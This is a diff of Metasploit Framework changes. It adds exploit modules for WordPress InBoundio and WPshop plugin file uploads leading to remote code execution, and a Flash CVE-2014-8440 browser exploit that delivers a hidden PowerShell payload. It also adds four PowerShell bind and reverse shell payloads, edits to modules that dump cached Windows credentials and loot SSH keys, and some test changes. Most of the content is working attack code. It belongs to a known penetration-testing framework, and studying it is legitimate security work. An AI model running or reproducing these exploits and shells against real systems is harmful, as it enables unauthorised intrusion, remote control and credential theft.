fail_with(Failure::Unknown, "#{peer} - Something went wrong") fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end end
end end

View File

@ -0,0 +1,79 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress InBoundio Marketing PHP Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress InBoundio Marketing version
2.0. It allows to upload arbitrary php files and get remote code execution. This module
has been tested successfully on WordPress InBoundio Marketing 2.0.3 with Wordpress 4.1.3 on
Ubuntu 14.04 Server.
},
'Author' =>
[
'KedAns-Dz', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '36478'],
['OSVDB', '119890'],
['WPVDB', '7864']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['InBoundio Marketing 2.0', {}]],
'DisclosureDate' => 'Mar 24 2015',
'DefaultTarget' => 0)
)
end
def check
check_plugin_version_from_readme('inboundio-marketing')
end
def exploit
php_page_name = rand_text_alpha(8 + rand(8)) + '.php'
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{php_page_name}\"")
post_data = data.to_s
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'inboundio-marketing', 'admin', 'partials', 'csv_uploader.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if res
if res.code == 200 && res.body.include?(php_page_name)
print_good("#{peer} - Our payload is at: #{php_page_name}.")
register_files_for_cleanup(php_page_name)
else
fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'Server did not answer')
end
print_status("#{peer} - Calling payload...")
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_plugins, 'inboundio-marketing', 'admin', 'partials', 'uploaded_csv', php_page_name) },
5
)
end
end

View File

@ -0,0 +1,79 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WPshop eCommerce Arbitrary File Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress WPshop eCommerce plugin
from version 1.3.3.3 to 1.3.9.5. It allows to upload arbitrary PHP code and get remote
code execution. This module has been tested successfully on WordPress WPshop eCommerce
1.3.9.5 with WordPress 4.1.3 on Ubuntu 14.04 Server.
},
'Author' =>
[
'g0blin', # Vulnerability Discovery, initial msf module
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module Pull Request
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '7830'],
['URL', 'https://research.g0blin.co.uk/g0blin-00036/']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WPshop eCommerce 1.3.9.5', {}]],
'DisclosureDate' => 'Mar 09 2015',
'DefaultTarget' => 0)
)
end
def check
check_plugin_version_from_readme('wpshop', '1.3.9.6', '1.3.3.3')
end
def exploit
php_page_name = rand_text_alpha(5 + rand(5)) + '.php'
data = Rex::MIME::Message.new
data.add_part('ajaxUpload', nil, nil, 'form-data; name="elementCode"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"wpshop_file\"; filename=\"#{php_page_name}\"")
post_data = data.to_s
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'wpshop', 'includes', 'ajax.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if res
if res.code == 200 && res.body =~ /#{php_page_name}/
print_good("#{peer} - Payload uploaded as #{php_page_name}")
register_files_for_cleanup(php_page_name)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, "#{peer} - Server did not answer")
end
print_status("#{peer} - Calling payload...")
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', php_page_name) },
5
)
end
end

View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution', 'Name' => 'Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution',
'Description' => %q{ 'Description' => %q{
This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker
@ -32,10 +32,12 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
[ 'CVE', '2013-5014' ], ['CVE', '2013-5014'],
[ 'CVE', '2013-5015' ], ['CVE', '2013-5015'],
[ 'EDB', '31853'], ['OSVDB', '103305'],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ] ['OSVDB', '103306'],
['EDB', '31853'],
['URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt']
], ],
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'Platform' => 'win', 'Platform' => 'win',

View File

@ -15,15 +15,16 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Symantec Workspace Streaming Arbitrary File Upload', 'Name' => 'Symantec Workspace Streaming ManagementAgentServer.putFile XMLRPC Request Arbitrary File Upload',
'Description' => %q{ 'Description' => %q{
This module exploits a code execution flaw in Symantec Workspace Streaming. The This module exploits a code execution flaw in Symantec Workspace Streaming. The
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
as_agent.exe service, which allows for uploading arbitrary files under the server root. as_agent.exe service, which allows for uploading arbitrary files under the server root.
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
to achieve remote code execution. This module has been tested successfully on Symantec to achieve remote code execution. This module has been tested successfully on Symantec
Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single Workspace Streaming 6.1 SP8 and Windows 2003 SP2, and reported to affect 7.5.0.x.
machine deployment, and also in the backend role in a multiple machine deployment. Abused services listen on a single-machine deployment and also in the backend role in
a multiple-machine deployment.
}, },
'Author' => 'Author' =>
[ [
@ -34,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
'References' => 'References' =>
[ [
['CVE', '2014-1649'], ['CVE', '2014-1649'],
['OSVDB', '106923'],
['BID', '67189'], ['BID', '67189'],
['ZDI', '14-127'], ['ZDI', '14-127'],
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00'] ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
@ -51,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options( register_options(
[ [
Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file) Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy) OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse JBoss auto deploy)
], self.class) ], self.class)
end end
@ -227,11 +229,11 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def exploit def exploit
print_status("#{peer} - Leaking the jboss deployment directory...") print_status("#{peer} - Leaking the JBoss deployment directory...")
jboss_path =jboss_deploy_path jboss_path =jboss_deploy_path
if jboss_path.nil? if jboss_path.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to disclose the jboss deployment directory") fail_with(Failure::Unknown, "#{peer} - Failed to disclose the JBoss deployment directory")
end end
print_status("#{peer} - Building WAR payload...") print_status("#{peer} - Building WAR payload...")

View File

@ -0,0 +1,108 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory',
'Description' => %q{
This module exploits an unintialized memory vulnerability in Adobe Flash Player. The
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails
to initialize allocated memory. When using a correct memory layout this vulnerability
leads to a ByteArray object corruption, which can be abused to access and corrupt memory.
This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with
Flash 15.0.0.189.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-8440'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'],
['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'],
['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 11 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -235,10 +235,6 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502 if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one") print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_line()
print_error(res.to_s)
end
end end
handler handler

View File

@ -157,10 +157,6 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502 if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one") print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_error('')
print_error(res.to_s)
end
end end
handler handler

View File

@ -157,10 +157,6 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502 if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one") print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_error('')
print_error(res.to_s)
end
end end
handler handler

View File

@ -91,10 +91,6 @@ class Metasploit3 < Msf::Exploit::Remote
# nothing # nothing
end end
if (datastore['DEBUG'])
print_status("Headers:\n" + headers.inspect)
print_status("Body:\n" + body.inspect)
end
disconnect disconnect
[headers, body] [headers, body]
end end

View File

@ -116,7 +116,6 @@ class Metasploit3 < Msf::Exploit::Local
print_status("Creating task: #{taskname}") print_status("Creating task: #{taskname}")
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f" cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
# print_debug("Will Execute:\n\t#{cmdline}")
exec_schtasks(cmdline, "create the task") exec_schtasks(cmdline, "create the task")
# #

View File

@ -59,9 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof! # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
file = "..\\..\\" << remote_filepath << remote_filename << "\x00" file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
#print_debug("File to upload: #{file}")
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4 pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
#print_debug(pkt_size)
# Magic_code + packing + size # Magic_code + packing + size
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L') pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')

View File

@ -0,0 +1,77 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/base/sessions/powershell'
module Metasploit3
CachedSize = 1342
include Msf::Payload::Single
include Rex::Powershell::Command
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
'Description' => 'Interacts with a powershell session on an established socket connection',
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::PowerShell,
'RequiredCmd' => 'generic',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_options(
[
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
end
def generate
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in << "\npowerfun -Command bind"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
end
end

View File

@ -0,0 +1,78 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/base/sessions/powershell'
module Metasploit3
CachedSize = 1342
include Msf::Payload::Single
include Rex::Powershell::Command
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
'Description' => 'Interacts with a powershell session on an established socket connection',
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::PowerShell,
'RequiredCmd' => 'generic',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
register_options(
[
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
end
def generate
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in << "\npowerfun -Command reverse"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
end
end

View File

@ -0,0 +1,84 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/exec'
require 'msf/base/sessions/powershell'
###
#
# Extends the Exec payload to add a new user.
#
###
module Metasploit3
CachedSize = 1543
include Msf::Payload::Windows::Exec
include Rex::Powershell::Command
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
'Description' => 'Listen for a connection and spawn an interactive powershell session',
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::PowerShell,
))
# Register command execution options
register_options(
[
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
# Hide the CMD option...this is kinda ugly
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
lport = datastore['LPORT']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in = File.read(template_path)
script_in << "\npowerfun -Command bind"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
end
end

View File

@ -0,0 +1,84 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/exec'
require 'msf/base/sessions/powershell'
###
#
# Extends the Exec payload to add a new user.
#
###
module Metasploit3
CachedSize = 1527
include Msf::Payload::Windows::Exec
include Rex::Powershell::Command
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
'Description' => 'Listen for a connection and spawn an interactive powershell session',
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::PowerShell,
))
# Register command execution options
register_options(
[
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
# Hide the CMD option...this is kinda ugly
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in << "\npowerfun -Command reverse"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
end
end

View File

@ -61,7 +61,8 @@ class Metasploit3 < Msf::Post
data = read_file("#{path}#{sep}#{file}") data = read_file("#{path}#{sep}#{file}")
file = file.split(sep).last file = file.split(sep).last
print_good("Downloaded #{path}#{sep}#{file}") loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
begin begin
key = SSHKey.new(data, :passphrase => "") key = SSHKey.new(data, :passphrase => "")

View File

@ -27,11 +27,6 @@ class Metasploit3 < Msf::Post
'SessionTypes' => ['meterpreter'], 'SessionTypes' => ['meterpreter'],
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']] 'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
)) ))
register_options(
[
OptBool.new('DEBUG', [true, 'Debugging output', false])
], self.class)
end end
@ -44,7 +39,7 @@ class Metasploit3 < Msf::Post
def capture_nlkm(lsakey) def capture_nlkm(lsakey)
nlkm = registry_getvaldata("HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", "") nlkm = registry_getvaldata("HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", "")
print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] ) vprint_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}")
if lsa_vista_style? if lsa_vista_style?
nlkm_dec = decrypt_lsa_data(nlkm, lsakey) nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
@ -306,7 +301,7 @@ class Metasploit3 < Msf::Post
print_status('Obtaining boot key...') print_status('Obtaining boot key...')
bootkey = capture_boot_key bootkey = capture_boot_key
print_status("Boot key: #{bootkey.unpack("H*")[0]}") if( datastore['DEBUG'] ) vprint_status("Boot key: #{bootkey.unpack("H*")[0]}")
print_status('Obtaining Lsa key...') print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey) lsakey = capture_lsa_key(bootkey)
@ -315,11 +310,11 @@ class Metasploit3 < Msf::Post
return return
end end
print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] ) vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
print_status("Obtaining LK$KM...") print_status("Obtaining LK$KM...")
nlkm = capture_nlkm(lsakey) nlkm = capture_nlkm(lsakey)
print_status("NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] ) vprint_status("NL$KM: #{nlkm.unpack("H*")[0]}")
print_status("Dumping cached credentials...") print_status("Dumping cached credentials...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ) ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)
@ -340,9 +335,9 @@ class Metasploit3 < Msf::Post
cache = parse_cache_entry(nl) cache = parse_cache_entry(nl)
if ( cache.userNameLength > 0 ) if ( cache.userNameLength > 0 )
print_status("Reg entry: #{nl.unpack("H*")[0]}") if( datastore['DEBUG'] ) vprint_status("Reg entry: #{nl.unpack("H*")[0]}")
print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] ) vprint_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}")
print_status("Ch: #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] ) vprint_status("Ch: #{cache.ch.unpack("H*")[0]}")
if lsa_vista_style? if lsa_vista_style?
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch) dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
@ -350,7 +345,7 @@ class Metasploit3 < Msf::Post
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch) dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
end end
print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] ) vprint_status("Decrypted data: #{dec_data.unpack("H*")[0]}")
john << parse_decrypted_cache(dec_data, cache) john << parse_decrypted_cache(dec_data, cache)

View File

@ -185,7 +185,7 @@ class Metasploit3 < Msf::Post
:source_type => "exploit", :source_type => "exploit",
:user => user_name, :user => user_name,
:pass => password) :pass => password)
print_debug "Should have reported..." vprint_status("Should have reported...")
# Set savedpwds to 1 on return # Set savedpwds to 1 on return
return 1 return 1

View File

@ -86,12 +86,12 @@ class Metasploit3 < Msf::Post
end end
def read(size) def read(size)
vprint_debug("Reading #{size} bytes") vprint_status("Reading #{size} bytes")
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer'] client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
end end
def seek(offset) def seek(offset)
vprint_debug("Seeking to offset #{offset}") vprint_status("Seeking to offset #{offset}")
high_offset = offset >> 32 high_offset = offset >> 32
low_offset = offset & (2**33 - 1) low_offset = offset & (2**33 - 1)
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0) client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)

2
msfcli
View File

@ -19,8 +19,6 @@ while File.symlink?(msfbase)
end end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
require 'rex'
class Msfcli class Msfcli
# #

View File

@ -13,7 +13,11 @@ module Msf
def desc def desc
"Nessus Bridge for Metasploit" "Nessus Bridge for Metasploit"
end end
def desc
"Nessus Bridge for Metasploit"
end
class ConsoleCommandDispatcher class ConsoleCommandDispatcher
include Msf::Ui::Console::CommandDispatcher include Msf::Ui::Console::CommandDispatcher

View File

@ -10,7 +10,8 @@ describe Msf::OptAddressRange do
{ :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" }, { :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" },
{ :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" }, { :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" },
{ :value => "192.0.2.*", :normalized => "192.0.2.*" }, { :value => "192.0.2.*", :normalized => "192.0.2.*" },
{ :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" } { :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" },
{ :value => "file:#{File.expand_path('short_address_list.txt',FILE_FIXTURES_PATH)}", :normalized => '192.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 192.168.1.5'}
] ]
invalid_values = [ invalid_values = [
# Too many dots # Too many dots

View File

@ -6,7 +6,8 @@ require 'msf/core/option_container'
describe Msf::OptRaw do describe Msf::OptRaw do
valid_values = [ valid_values = [
{ :value => 'foo', :normalized => 'foo' } { :value => 'foo', :normalized => 'foo' },
{ :value => "file:#{File.expand_path('string_list.txt',FILE_FIXTURES_PATH)}",:normalized => "foo\nbar\nbaz" }
] ]
invalid_values = [] invalid_values = []

View File

@ -161,69 +161,6 @@ describe Msf::Ui::Console::CommandDispatcher::Core do
set_and_test_variable(name, 'FRAMEWORK', 'MODULE', /^#{name} => FRAMEWORK$/, /^#{name} => MODULE$/) set_and_test_variable(name, 'FRAMEWORK', 'MODULE', /^#{name} => FRAMEWORK$/, /^#{name} => MODULE$/)
end end
context "when using file: prefix in the value" do
context "when the file exists" do
before(:each) do
allow(::File).to receive(:new) do |filename, mode|
fd = StringIO.new(file_contents, mode)
fd
end
allow_any_instance_of(::StringIO).to receive(:stat) do |io|
file_contents
end
end
context "when the size is 1MB" do
let(:file_name) do
::Rex::Text.rand_text_alpha(10).upcase
end
let(:file_contents) do
::Rex::Text.rand_text_alpha(1024 * 1024).upcase
end
it "should show the new value" do
